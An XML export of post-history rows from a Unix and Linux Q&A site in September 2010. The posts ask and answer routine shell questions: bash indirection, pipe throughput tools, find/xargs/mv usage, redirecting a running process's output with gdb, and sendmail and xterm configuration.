  <row Id="3029" PostHistoryTypeId="2" PostId="1536" RevisionGUID="bd33ca6a-3cc7-4159-97ad-2c6f16f41c9c" CreationDate="2010-09-03T04:46:15.290" UserId="382" Text="In your answer, `varAlias` isn't an array, so you can do `for varItem in $varAlias` which is just doing word splitting. Because of that if any of your original array elements include spaces, they will be treated as separate words. &#xD;&#xA;&#xD;&#xA;You can do scalar indirection like this: `a=42; b=a; echo ${!b}`.&#xD;&#xA;&#xD;&#xA;You can do indirection to an array of scalars like this:&#xD;&#xA;&#xD;&#xA;    $ j=42; k=55; m=99&#xD;&#xA;    $ a=(j k m)&#xD;&#xA;    $ echo ${!a[1]}&#xD;&#xA;    55&#xD;&#xA;&#xD;&#xA;Unfortunately, there's no satisfactory way to do the type of array indirection you're trying to do. You should be able to rework your code so that no indirection is needed.&#xD;&#xA;&#xD;&#xA;See also [BashFAQ/006][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mywiki.wooledge.org/BashFAQ/006&#xD;&#xA;" />
  <row Id="3030" PostHistoryTypeId="2" PostId="1537" RevisionGUID="16c627b8-d1bc-400d-9084-2c6192b0b321" CreationDate="2010-09-03T06:06:15.860" UserId="210" Text="There is a shell command that allows to measure how fast the data goes through it, so you can measure the speed of output of commands in a pipe. So instead of:&#xD;&#xA;&#xD;&#xA;    $ somecommand | anothercommand&#xD;&#xA;&#xD;&#xA;you can do something like:&#xD;&#xA;&#xD;&#xA;    $ somecomand | ??? | anothercommand&#xD;&#xA;&#xD;&#xA;And throughput stats (bytes/sec) are prited to stderr, I think. But I can't for the life of me remember what that command was.&#xD;&#xA;&#xD;&#xA;Hints?" />
  <row Id="3031" PostHistoryTypeId="1" PostId="1537" RevisionGUID="16c627b8-d1bc-400d-9084-2c6192b0b321" CreationDate="2010-09-03T06:06:15.860" UserId="210" Text="Measure pipe throughput in the shell" />
  <row Id="3032" PostHistoryTypeId="3" PostId="1537" RevisionGUID="16c627b8-d1bc-400d-9084-2c6192b0b321" CreationDate="2010-09-03T06:06:15.860" UserId="210" Text="éperformanceàéioà" />
  <row Id="3033" PostHistoryTypeId="2" PostId="1538" RevisionGUID="b54cf552-bdd1-438e-b361-0ac08f94af8a" CreationDate="2010-09-03T06:12:33.363" UserId="1425" Text="You need a utility called [cpipe](http://cpipe.berlios.de/).&#xD;&#xA;&#xD;&#xA;Usage:&#xD;&#xA;&#xD;&#xA;    tar cCf / - usr | cpipe -vr -vw -vt &gt; /dev/null&#xD;&#xA;    &#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;      in:  19.541ms at    6.4MB/s (   4.7MB/s avg)    2.0MB&#xD;&#xA;     out:   0.004ms at   30.5GB/s (  27.1GB/s avg)    2.0MB&#xD;&#xA;    thru:  19.865ms at    6.3MB/s (   4.6MB/s avg)    2.0MB&#xD;&#xA;    ... " />
  <row Id="3034" PostHistoryTypeId="2" PostId="1539" RevisionGUID="8d6f8469-93f7-4d04-abc9-b6ef60c8758b" CreationDate="2010-09-03T06:34:29.407" UserId="73" Text="[cpipe](http://unix.stackexchange.com/questions/1537/measure-pipe-throughput-in-the-shell/1538#1538) is probably better for these purposes, but another related program is [pv](http://www.ivarch.com/programs/pv.shtml) (Pipe Viewer):&#xD;&#xA;&#xD;&#xA;![Screenshot of pv from the pv homepage](http://mrozekma.com/pv.png)&#xD;&#xA;&#xD;&#xA;If you give it the `--rate` flag it will show the transfer rate" />
  <row Id="3035" PostHistoryTypeId="2" PostId="1540" RevisionGUID="4c4014f4-0d89-4ac7-bf12-6e2cfc229c9e" CreationDate="2010-09-03T06:50:41.833" UserId="1410" Text="I'm working on a script and I'm stuck, even with the help of teh googles.&#xD;&#xA;&#xD;&#xA;Here's my code:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;for FOLDER in `find . -type d | sed &quot;s#^.#$(pwd)#&quot; | sed 's/ /\ /g'`&#xD;&#xA;do&#xD;&#xA;	echo &quot;$FOLDER&quot;&#xD;&#xA;done&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;This will replace only the first instance of &quot; &quot; with &quot;\ &quot; but not the rest.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="3036" PostHistoryTypeId="1" PostId="1540" RevisionGUID="4c4014f4-0d89-4ac7-bf12-6e2cfc229c9e" CreationDate="2010-09-03T06:50:41.833" UserId="1410" Text="Directory filenames with sed with whitespaces" />
  <row Id="3037" PostHistoryTypeId="3" PostId="1540" RevisionGUID="4c4014f4-0d89-4ac7-bf12-6e2cfc229c9e" CreationDate="2010-09-03T06:50:41.833" UserId="1410" Text="éshellàédirectoryàésedàéfindà" />
  <row Id="3038" PostHistoryTypeId="2" PostId="1541" RevisionGUID="4c10edf6-ae53-4f87-9181-5037ef7254cc" CreationDate="2010-09-03T07:18:29.353" UserId="885" Text="Forget about structuring your command that way and use `find -execdir` instead:&#xD;&#xA;&#xD;&#xA;    find . -type d -execdir sh -c 'pwd' \;&#xD;&#xA;&#xD;&#xA;Or use zsh:&#xD;&#xA;&#xD;&#xA;    for d in **/*(/); do&#xD;&#xA;      echo $d&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="3039" PostHistoryTypeId="2" PostId="1542" RevisionGUID="3a0beacc-958a-4072-8465-cf091b2b1202" CreationDate="2010-09-03T07:59:21.047" UserId="250" Text="Hi there,&#xD;&#xA;&#xD;&#xA;I know that in order to suppress the output of a program I can redirect it to `/dev/null`, for example to hide all error and warning messages from chromium I can start the program like this&#xD;&#xA;&#xD;&#xA;    chromium-browser 2&gt; /dev/null &amp;&#xD;&#xA;&#xD;&#xA;However, if I happen to forget about the error messages and type&#xD;&#xA;&#xD;&#xA;    chromium-browser &amp;&#xD;&#xA;(which is quite annoying when they appear in the middle of a command) I don't know what to do except for stopping the application and starting it again properly.&#xD;&#xA;&#xD;&#xA;Can I somehow redirect error output without restarting the application?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="3040" PostHistoryTypeId="1" PostId="1542" RevisionGUID="3a0beacc-958a-4072-8465-cf091b2b1202" CreationDate="2010-09-03T07:59:21.047" UserId="250" Text="redirect output of a running program to /dev/null" />
  <row Id="3041" PostHistoryTypeId="3" PostId="1542" RevisionGUID="3a0beacc-958a-4072-8465-cf091b2b1202" CreationDate="2010-09-03T07:59:21.047" UserId="250" Text="éioöredirectionà" />
  <row Id="3043" PostHistoryTypeId="2" PostId="1543" RevisionGUID="e5495558-2bfb-4b0d-9195-d774c436e035" CreationDate="2010-09-03T08:47:47.640" UserId="1432" Text="This was answered here : [here][1] by [vladr][2].&#xD;&#xA;The answer is (quoting) :&#xD;&#xA;&#xD;&#xA; - attach to the process in question using gdb, and run: &#xD;&#xA; - p dup2(open(&quot;/dev/null&quot;, 0), 1)&#xD;&#xA; - p dup2(open(&quot;/dev/null&quot;, 0), 2) &#xD;&#xA; - detach&#xD;&#xA; - quit&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/593724/redirect-stderr-stdout-of-a-process-after-its-been-started-using-command-line&#xD;&#xA;  [2]: http://stackoverflow.com/users/66516/vladr" />
  <row Id="3044" PostHistoryTypeId="5" PostId="1543" RevisionGUID="64b5271b-9909-4c71-b6d4-b8b261021a6d" CreationDate="2010-09-03T08:54:55.793" UserId="1432" Comment="added 47 characters in body" Text="This was answered here : [here][1] by [vladr][2].&#xD;&#xA;The answer is (quoting) :&#xD;&#xA;&#xD;&#xA; - attach to the process in question using gdb, and run: &#xD;&#xA; - p dup2(open(&quot;/dev/null&quot;, 0), 1) (for stdout redirection)&#xD;&#xA; - p dup2(open(&quot;/dev/null&quot;, 0), 2) (for stderr redirection)&#xD;&#xA; - detach&#xD;&#xA; - quit&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/593724/redirect-stderr-stdout-of-a-process-after-its-been-started-using-command-line&#xD;&#xA;  [2]: http://stackoverflow.com/users/66516/vladr" />
  <row Id="3045" PostHistoryTypeId="2" PostId="1544" RevisionGUID="778d4188-d4e7-4419-bba5-96d5cc1703d7" CreationDate="2010-09-03T09:04:53.163" UserId="1383" Text="You can use `xargs` instead of a loop for executing the same command on a list of elements. There are options to take care of whitespaces." />
  <row Id="3046" PostHistoryTypeId="2" PostId="1545" RevisionGUID="53e278e3-f267-46ad-bb06-667e2dde8029" CreationDate="2010-09-03T09:06:45.720" UserId="1433" Text="You could also setup an alias for &quot;chromium-browser&quot; to instead run &quot;chromium-browser 2&gt; /dev/null&quot;&#xD;&#xA;&#xD;&#xA;e.g. if you are using bash, edit /home/username/.bashrc and add line:&#xD;&#xA;&#xD;&#xA; - chromium-browser='chromium-browser 2&gt; /dev/null'&#xD;&#xA;&#xD;&#xA;or better yet&#xD;&#xA;&#xD;&#xA; - chrome='chromium-browser 2&gt; /dev/null'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and save some keystrokes." />
  <row Id="3048" PostHistoryTypeId="5" PostId="1543" RevisionGUID="fe3d7199-577e-4d8e-89aa-89bbcbbd5c8a" CreationDate="2010-09-03T09:52:51.820" UserId="1432" Comment="added 621 characters in body" Text="This was answered here : [here][1] by [vladr][2].&#xD;&#xA;The answer is (quoting) :&#xD;&#xA;&#xD;&#xA; - attach to the process in question using gdb, and run: &#xD;&#xA; - p dup2(open(&quot;/dev/null&quot;, 0), 1) (for stdout redirection)&#xD;&#xA; - p dup2(open(&quot;/dev/null&quot;, 0), 2) (for stderr redirection)&#xD;&#xA; - detach&#xD;&#xA; - quit&#xD;&#xA;&#xD;&#xA;I tried it on the following script : &#xD;&#xA;&#xD;&#xA;[edition after first comment :]&#xD;&#xA;&lt;pre&gt;sleep 10 # so I can have the time to attach to the process&#xD;&#xA;if [ &quot;$sonorfather&quot; == &quot;father&quot; ] # avoid infinite recursion &#xD;&#xA;then &#xD;&#xA;   sonorfather=son ./test &amp; &#xD;&#xA;fi &#xD;&#xA;&#xD;&#xA;while true &#xD;&#xA;do &#xD;&#xA;   echo &quot;stdout $sonorfather&quot; &#xD;&#xA;   echo &quot;stderr $sonorfather&quot; &gt;&amp;2 &#xD;&#xA;   sleep 1 &#xD;&#xA;done &#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;I disabled the stderr output before the son process was created, here is the output :&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;stdout father &#xD;&#xA;stdout son &#xD;&#xA;stdout father &#xD;&#xA;stdout son &#xD;&#xA;[and so on...]. &#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;I hope this answer your question : the son process stderr was redirected too.&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/593724/redirect-stderr-stdout-of-a-process-after-its-been-started-using-command-line&#xD;&#xA;  [2]: http://stackoverflow.com/users/66516/vladr" />
  <row Id="3049" PostHistoryTypeId="2" PostId="1546" RevisionGUID="515fc50f-7a63-44f5-9c18-36258115d768" CreationDate="2010-09-03T11:28:14.840" UserId="1439" Text="You can also launch the browser with nohup and then close the terminal window with the following:&#xD;&#xA;&#xD;&#xA;    nohup chromium-browser &amp;&#xD;&#xA;&#xD;&#xA;This way, the browser will launch and detach from the console, that can then be closed quietly." />
  <row Id="3050" PostHistoryTypeId="2" PostId="1547" RevisionGUID="9e650fe7-c428-44b8-b5a1-b11b922a617b" CreationDate="2010-09-03T12:49:03.917" UserId="550" Text="I think that you are complicating everything.&#xD;&#xA;&#xD;&#xA;Maybe you only need this:&#xD;&#xA;&#xD;&#xA;    find $(pwd) -type d | sed 's/ /\\ /g'&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3051" PostHistoryTypeId="5" PostId="1480" RevisionGUID="3b42d52e-5254-4951-ada7-e3387b26e8c4" CreationDate="2010-09-03T13:46:41.533" UserId="50" Comment="added 25 characters in body" Text="Here's what I found at [OSALT](http://www.osalt.com/keynote#alts)&#xD;&#xA;&#xD;&#xA;They're (Impress and KPresenter) probably pretty comparable. I haven't used KPresenter but it's worth a look." />
  <row Id="3052" PostHistoryTypeId="2" PostId="1548" RevisionGUID="194118bd-c08a-4b8d-84e3-39b755f36d63" CreationDate="2010-09-03T14:32:46.713" UserId="12" Text="I have set up zsh to use emacs mode. But typing ALT+f or ALT+b inserts weird symbols (accented letters and so on), rather than moving around by word in the shell like it should. Since I don't ever want to insert the &quot;ae&quot; symbol into a shell prompt, how can I get zsh to behave?&#xD;&#xA;&#xD;&#xA;I had the same problem with bash, but now that I'm actually taking the time to customise zsh, I thought I'd ask...&#xD;&#xA;&#xD;&#xA;ALT GR+b etc. produces _different_ weird symbols..." />
  <row Id="3053" PostHistoryTypeId="1" PostId="1548" RevisionGUID="194118bd-c08a-4b8d-84e3-39b755f36d63" CreationDate="2010-09-03T14:32:46.713" UserId="12" Text="Emacs mode in zsh: M-b M-f etc. show weird symbols" />
  <row Id="3054" PostHistoryTypeId="3" PostId="1548" RevisionGUID="194118bd-c08a-4b8d-84e3-39b755f36d63" CreationDate="2010-09-03T14:32:46.713" UserId="12" Text="éshellàézshàéemacsà" />
  <row Id="3055" PostHistoryTypeId="2" PostId="1549" RevisionGUID="dc8c6954-66e4-4dcb-a9e3-b86e83a2efa8" CreationDate="2010-09-03T16:10:09.847" UserId="922" Text="&#xD;&#xA;If you are willing to go outside your comfort zone, [LaTeX Beamer][1] is really the only thing I have found that can match Keynote's output for Linux. &#xD;&#xA;&#xD;&#xA;Ease of use is a problem with LaTeX though, look at [LyX][2] for a nice editor, and [some examples][3].&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Beamer_(LaTeX)&#xD;&#xA;  [2]: http://www.lyx.org/&#xD;&#xA;  [3]: http://wiki.lyx.org/Examples/Beamer" />
  <row Id="3056" PostHistoryTypeId="5" PostId="1548" RevisionGUID="fa087bf3-ecfa-416b-8edc-d2096345a300" CreationDate="2010-09-03T16:18:26.350" UserId="12" Comment="added info about my system" Text="I have set up zsh to use emacs mode. But typing ALT+f or ALT+b inserts weird symbols (accented letters and so on), rather than moving around by word in the shell like it should. Since I don't ever want to insert the &quot;ae&quot; symbol into a shell prompt, how can I get zsh to behave?&#xD;&#xA;&#xD;&#xA;I had the same problem with bash, but now that I'm actually taking the time to customise zsh, I thought I'd ask...&#xD;&#xA;&#xD;&#xA;ALT GR+b etc. produces _different_ weird symbols...&#xD;&#xA;&#xD;&#xA;I'm using ubuntu 10.4" />
  <row Id="3057" PostHistoryTypeId="5" PostId="1548" RevisionGUID="a9d7c8a2-4aa1-430a-ab94-39b36be472b0" CreationDate="2010-09-03T16:33:11.960" UserId="73" Comment="added 32 characters in body" Text="I have set up zsh to use emacs mode. But typing &lt;kbd&gt;Alt+f&lt;/kbd&gt; or &lt;kbd&gt;Alt+b&lt;/kbd&gt; inserts weird symbols (accented letters and so on), rather than moving around by word in the shell like it should. Since I don't ever want to insert the &quot;ae&quot; symbol into a shell prompt, how can I get zsh to behave?&#xD;&#xA;&#xD;&#xA;I had the same problem with bash, but now that I'm actually taking the time to customise zsh, I thought I'd ask...&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;AltGr+b&lt;/kbd&gt; etc. produces _different_ weird symbols...&#xD;&#xA;&#xD;&#xA;I'm using Ubuntu 10.4" />
  <row Id="3058" PostHistoryTypeId="6" PostId="1489" RevisionGUID="4a9617bb-79c8-4c37-ad1e-dfeb981feee3" CreationDate="2010-09-03T16:35:39.087" UserId="73" Comment="edited tags" Text="éunixàéosxàémacà" />
  <row Id="3061" PostHistoryTypeId="2" PostId="1550" RevisionGUID="151514f6-bd04-4f6a-b256-b9043ff616f0" CreationDate="2010-09-03T18:48:43.497" UserId="29" Text="Does anyone know any good tutorials (or books) for what goes into writing a theme?" />
  <row Id="3062" PostHistoryTypeId="1" PostId="1550" RevisionGUID="151514f6-bd04-4f6a-b256-b9043ff616f0" CreationDate="2010-09-03T18:48:43.497" UserId="29" Text="Zsh theme guides" />
  <row Id="3063" PostHistoryTypeId="3" PostId="1550" RevisionGUID="151514f6-bd04-4f6a-b256-b9043ff616f0" CreationDate="2010-09-03T18:48:43.497" UserId="29" Text="ézshà" />
  <row Id="3064" PostHistoryTypeId="2" PostId="1551" RevisionGUID="1b235def-5d1b-4548-a66e-ba3199e34e36" CreationDate="2010-09-03T19:57:39.533" UserId="1389" Text="When I install sendmail from the debian repos, I get the following output:&#xD;&#xA;&#xD;&#xA;    Disabling HOST statistics file(/var/lib/sendmail/host_status).&#xD;&#xA;    Creating /etc/mail/sendmail.cf...&#xD;&#xA;    Creating /etc/mail/submit.cf...&#xD;&#xA;    Informational: confCR_FILE file empty: /etc/mail/relay-domains&#xD;&#xA;    Informational: confCT_FILE file empty: /etc/mail/trusted-users&#xD;&#xA;    Updating /etc/mail/access...&#xD;&#xA;    Updating /etc/mail/aliases...&#xD;&#xA;    WARNING: local host name (ixtmixilix) is not qualified; see cf/README: WHO AM I?&#xD;&#xA;&#xD;&#xA;Can someone please tell me what this means, what I need to do to qualify my hostname, and/or at the very least where this cf/README file is located?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3065" PostHistoryTypeId="1" PostId="1551" RevisionGUID="1b235def-5d1b-4548-a66e-ba3199e34e36" CreationDate="2010-09-03T19:57:39.533" UserId="1389" Text="What file is sendmail referring to here?" />
  <row Id="3066" PostHistoryTypeId="3" PostId="1551" RevisionGUID="1b235def-5d1b-4548-a66e-ba3199e34e36" CreationDate="2010-09-03T19:57:39.533" UserId="1389" Text="élinuxà" />
  <row Id="3067" PostHistoryTypeId="6" PostId="1551" RevisionGUID="10adaea2-c16c-4f78-ba07-a0df6634d1c1" CreationDate="2010-09-03T20:05:48.683" UserId="73" Comment="edited tags" Text="élinuxàésendmailàéhostnameà" />
  <row Id="3068" PostHistoryTypeId="5" PostId="1551" RevisionGUID="841f07cf-b2a3-465c-b5f3-5773cb258870" CreationDate="2010-09-03T20:06:37.447" UserId="1389" Comment="deleted 63 characters in body; edited title" Text="When I install sendmail from the debian repos, I get the following output:&#xD;&#xA;&#xD;&#xA;    Disabling HOST statistics file(/var/lib/sendmail/host_status).&#xD;&#xA;    Creating /etc/mail/sendmail.cf...&#xD;&#xA;    Creating /etc/mail/submit.cf...&#xD;&#xA;    Informational: confCR_FILE file empty: /etc/mail/relay-domains&#xD;&#xA;    Informational: confCT_FILE file empty: /etc/mail/trusted-users&#xD;&#xA;    Updating /etc/mail/access...&#xD;&#xA;    Updating /etc/mail/aliases...&#xD;&#xA;    WARNING: local host name (ixtmixilix) is not qualified; see cf/README: WHO AM I?&#xD;&#xA;&#xD;&#xA;Can someone please tell me what this means, what I need to do to qualify my hostname?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3069" PostHistoryTypeId="4" PostId="1551" RevisionGUID="841f07cf-b2a3-465c-b5f3-5773cb258870" CreationDate="2010-09-03T20:06:37.447" UserId="1389" Comment="deleted 63 characters in body; edited title" Text="What is sendmail referring to here?" />
  <row Id="3070" PostHistoryTypeId="2" PostId="1552" RevisionGUID="b1639ede-8883-4206-9df8-c6d15a44db3c" CreationDate="2010-09-03T20:10:23.427" UserId="885" Text="It's not zsh that's misbehaving, it's xterm. The reason it's misbehaving is an obsolete setting that causes xterm to send character number *x*+128 when you press &lt;kbd&gt;Alt&lt;/kbd&gt; together with character number *x*. The normal behavior in a text terminal is to have &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; send `ESC a`.&#xD;&#xA;&#xD;&#xA;To tell xterm to leave 8-bit characters alone, turn off the `XTerm.VT100.eightBitInput` resource (despite the name, it doesn't affect what happens when you enter an 8-bit character). You'd normally do this by adding the following line to `~/.Xresources`:&#xD;&#xA;&#xD;&#xA;    XTerm.VT100.eightBitInput:      false&#xD;&#xA;&#xD;&#xA;`~/.Xresources` is read when you log in in most unix distributions. To read it immediately, run the command&#xD;&#xA;&#xD;&#xA;    xrdb -merge ~/.Xresources&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3071" PostHistoryTypeId="6" PostId="1548" RevisionGUID="7d8839df-45fa-41bc-84bf-a53aa03d6fdf" CreationDate="2010-09-03T20:11:48.823" UserId="885" Comment="changed tags to reflect the cause of the problem" Text="éshellàékeyboardöshortcutsàéxtermà" />
  <row Id="3072" PostHistoryTypeId="2" PostId="1553" RevisionGUID="17e2e1d7-e569-42ef-9603-85605b05c1c0" CreationDate="2010-09-03T20:12:17.950" UserId="73" Text="It's referring to [this page](http://www.sendmail.org/m4/whoami.html) from the readme, which tells you how to specify your hostname. It's warning you that your hostname won't work outside your local network; sendmail attaches your hostname as the sender of the message, but it's going to be useless on the other end because people outside your local network can't find the machine `ixtmixilix`. You should specify a hostname that can be resolved from anywhere, like `ixtmixilix.example.com`" />
  <row Id="3073" PostHistoryTypeId="2" PostId="1554" RevisionGUID="8839cd18-360b-4112-a85d-591c7c2d8e54" CreationDate="2010-09-03T20:13:51.757" UserId="606" Text="This output refers to a [Fully-qualified domain name (FQDN)][1]. Which is either an IP address or a domain name (something with a dot in it).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Fully_qualified_domain_name" />
  <row Id="3074" PostHistoryTypeId="2" PostId="1555" RevisionGUID="d81c9075-b6b6-4f6e-996a-339ed2fe4354" CreationDate="2010-09-03T20:32:34.573" UserId="171" Text="What would be a good way to move a file type from a directory and all of its sub-directories. &#xD;&#xA;like &quot;move all *.ogg in /thisdir recursively to /somedir&quot;. I tried a couple of things my best effort was(still not that great)&#xD;&#xA;&#xD;&#xA;    find /thisdir -type f -name '*.ogg' -exec mv /somedir {} \;&#xD;&#xA;&#xD;&#xA;it returned on each line before each file name, &#xD;&#xA;&#xD;&#xA;    mv: cannot overwrite non-directory `/thisdir/*.ogg' with directory `/somedir'&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3075" PostHistoryTypeId="1" PostId="1555" RevisionGUID="d81c9075-b6b6-4f6e-996a-339ed2fe4354" CreationDate="2010-09-03T20:32:34.573" UserId="171" Text="How can I move files by type recursivley from a directroy and its sub-directories to another directory? " />
  <row Id="3076" PostHistoryTypeId="3" PostId="1555" RevisionGUID="d81c9075-b6b6-4f6e-996a-339ed2fe4354" CreationDate="2010-09-03T20:32:34.573" UserId="171" Text="écommandölineà" />
  <row Id="3077" PostHistoryTypeId="2" PostId="1556" RevisionGUID="700f7b5c-c2e8-4355-8b00-6ef62576cdd3" CreationDate="2010-09-03T20:37:26.073" UserId="57" Text="How to fix Xlib warning: &quot;Xlib:  extension &quot;Generic Event Extension&quot; missing on display&quot; ?   &#xD;&#xA;[google search][1] give many results but I still cant fix it :(.   &#xD;&#xA;Tried `sudo apt-get install libxcb-event0` but it didnt helped.&#xD;&#xA;&#xD;&#xA;I am using ubuntu on colinx on Windows XP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?btnG=1&amp;pws=0&amp;q=Xlib%3A+%20extension+%22Generic+Event+Extension%22+missing+on+display" />
  <row Id="3078" PostHistoryTypeId="1" PostId="1556" RevisionGUID="700f7b5c-c2e8-4355-8b00-6ef62576cdd3" CreationDate="2010-09-03T20:37:26.073" UserId="57" Text="&quot;Xlib:  extension &quot;Generic Event Extension&quot; missing on display&quot;  warnings " />
  <row Id="3079" PostHistoryTypeId="3" PostId="1556" RevisionGUID="700f7b5c-c2e8-4355-8b00-6ef62576cdd3" CreationDate="2010-09-03T20:37:26.073" UserId="57" Text="éubuntuàéxorgà" />
  <row Id="3080" PostHistoryTypeId="2" PostId="1557" RevisionGUID="31d83a88-7b80-4608-9a19-ec58ba906382" CreationDate="2010-09-03T21:00:43.423" UserId="57" Text="you can use find with [xargs][1] for this&#xD;&#xA;&#xD;&#xA;`find /thisdir -type f -name &quot;*.ogg&quot; | xargs -Imysongs mv mysongs /somedir` &#xD;&#xA;&#xD;&#xA;&gt; The -I in the above command tells&#xD;&#xA;&gt; xargs what replacement string you want&#xD;&#xA;&gt; to use (otherwise it adds the&#xD;&#xA;&gt; arguments to the end of the command).&#xD;&#xA;&#xD;&#xA;OR  &#xD;&#xA;In your command just try to move '{}' after `mv` command.&#xD;&#xA;&#xD;&#xA;`find /thisdir -type f -name '*.ogg' -exec mv {} /somedir  \;`&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Xargs" />
  <row Id="3081" PostHistoryTypeId="2" PostId="1558" RevisionGUID="7c38473f-137b-4b6d-bba9-1009bf77a6a2" CreationDate="2010-09-03T21:03:29.760" UserId="822" Text="    sudo find /thisdir -type f -name &quot;*.ogg&quot; -exec mv {} /somedir \;&#xD;&#xA;&#xD;&#xA;You kinda interchanged the arguments for mv" />
  <row Id="3082" PostHistoryTypeId="5" PostId="1557" RevisionGUID="303d8e5e-dc7c-4a2e-95ab-86ab426615df" CreationDate="2010-09-03T21:17:27.120" UserId="57" Comment="added  -print0 for find and -0 for xargs to avoid whitespace in filename problems" Text="you can use find with [xargs][1] for this&#xD;&#xA;&#xD;&#xA;`find /thisdir -type f -name &quot;*.ogg&quot; -print0 | xargs -0 -Imysongs mv mysongs /somedir` &#xD;&#xA;&#xD;&#xA;&gt; The -I in the above command tells&#xD;&#xA;&gt; xargs what replacement string you want&#xD;&#xA;&gt; to use (otherwise it adds the&#xD;&#xA;&gt; arguments to the end of the command).&#xD;&#xA;&#xD;&#xA;OR  &#xD;&#xA;In your command just try to move '{}' after `mv` command.&#xD;&#xA;&#xD;&#xA;`find /thisdir -type f -name '*.ogg' -exec mv {} /somedir  \;`&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Xargs" />
  <row Id="3083" PostHistoryTypeId="5" PostId="1558" RevisionGUID="797cac1c-8ada-4107-a60d-a1cea12f590b" CreationDate="2010-09-03T21:20:30.540" UserId="822" Comment="deleted 5 characters in body" Text="    find /thisdir -type f -name &quot;*.ogg&quot; -exec mv {} /somedir \;&#xD;&#xA;&#xD;&#xA;You kinda interchanged the arguments for mv" />
  <row Id="3084" PostHistoryTypeId="2" PostId="1559" RevisionGUID="66ed14d1-ad87-4d32-9e4a-8ee69ca8d4cf" CreationDate="2010-09-03T21:44:03.917" UserId="57" Text="Something strange started happening to my terminal.&#xD;&#xA;Wherever I type some wrong command it tries to run that command in the background.&#xD;&#xA;&#xD;&#xA;&gt; thegeek@colinux:~# l   &#xD;&#xA;&gt; [9]+  Stopped   l  &#xD;&#xA;&gt; thegeek@colinux:~# fdsl  &#xD;&#xA;&gt; &#xD;&#xA;&gt; [10]+  Stopped                 fdsl  &#xD;&#xA;&#xD;&#xA;what could be the issue ?" />
  <row Id="3085" PostHistoryTypeId="1" PostId="1559" RevisionGUID="66ed14d1-ad87-4d32-9e4a-8ee69ca8d4cf" CreationDate="2010-09-03T21:44:03.917" UserId="57" Text="what happed to my terminal?" />
  <row Id="3086" PostHistoryTypeId="3" PostId="1559" RevisionGUID="66ed14d1-ad87-4d32-9e4a-8ee69ca8d4cf" CreationDate="2010-09-03T21:44:03.917" UserId="57" Text="éterminalàéxtermöterminalà" />
  <row Id="3087" PostHistoryTypeId="2" PostId="1560" RevisionGUID="1b218377-7de3-4abf-9eb5-8f293d544f2a" CreationDate="2010-09-03T21:47:14.477" UserId="885" Text="In zsh or bash 4, to gather all `*.ogg` files into `/somedir`:&#xD;&#xA;&#xD;&#xA;    mv /thisdir/**/*.ogg /somedir&#xD;&#xA;&#xD;&#xA;If you wanted to reproduce the directory hierarchy: (warning, typed directly into the browser)&#xD;&#xA;&#xD;&#xA;    rsync -a --prune-empty-dirs --include='*/' --include='*.ogg' --exclude='*' /thisdir /somedir&#xD;&#xA;" />
  <row Id="3088" PostHistoryTypeId="5" PostId="1557" RevisionGUID="bef56379-ba9e-4e3c-b74e-9fb5a5d0bde8" CreationDate="2010-09-03T21:49:56.350" UserId="57" Comment="added 6 characters in body" Text="you can use find with [xargs][1] for this&#xD;&#xA;&#xD;&#xA;`find /thisdir -type f -name &quot;*.ogg&quot; -print0 | xargs -0 -Imysongs mv -i mysongs /somedir` &#xD;&#xA;&#xD;&#xA;&gt; The -I in the above command tells&#xD;&#xA;&gt; xargs what replacement string you want&#xD;&#xA;&gt; to use (otherwise it adds the&#xD;&#xA;&gt; arguments to the end of the command).&#xD;&#xA;&#xD;&#xA;OR  &#xD;&#xA;In your command just try to move '{}' after `mv` command.&#xD;&#xA;&#xD;&#xA;`find /thisdir -type f -name '*.ogg' -exec mv -i {} /somedir  \;`&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Xargs" />
  <row Id="3089" PostHistoryTypeId="4" PostId="1559" RevisionGUID="457b2199-60b1-49a1-814d-8ce59ecec5b6" CreationDate="2010-09-03T21:56:02.350" UserId="57" Comment="edited title" Text="What happed to my terminal? Wherever I type some wrong command it tries to run that command in the background" />
  <row Id="3090" PostHistoryTypeId="5" PostId="453" RevisionGUID="3648cc3a-9045-42b1-9128-ccdef5d136ff" CreationDate="2010-09-03T23:51:28.090" UserId="184" Comment="added 4 characters in body" Text="I need some good download manager for my Linux like IDM(on windows), I want it can install a plugin on browser too like IDM that you can download movies from youtube or other site easily.&#xD;&#xA;and **make as many as connection possible**." />
  <row Id="3091" PostHistoryTypeId="6" PostId="1559" RevisionGUID="a585a9f5-724e-476c-8704-fe40a0092682" CreationDate="2010-09-04T00:39:14.523" UserId="29" Comment="add shell to tags I'm not convinced this is a terminal issue" Text="éshellàéterminalàéxtermöterminalà" />
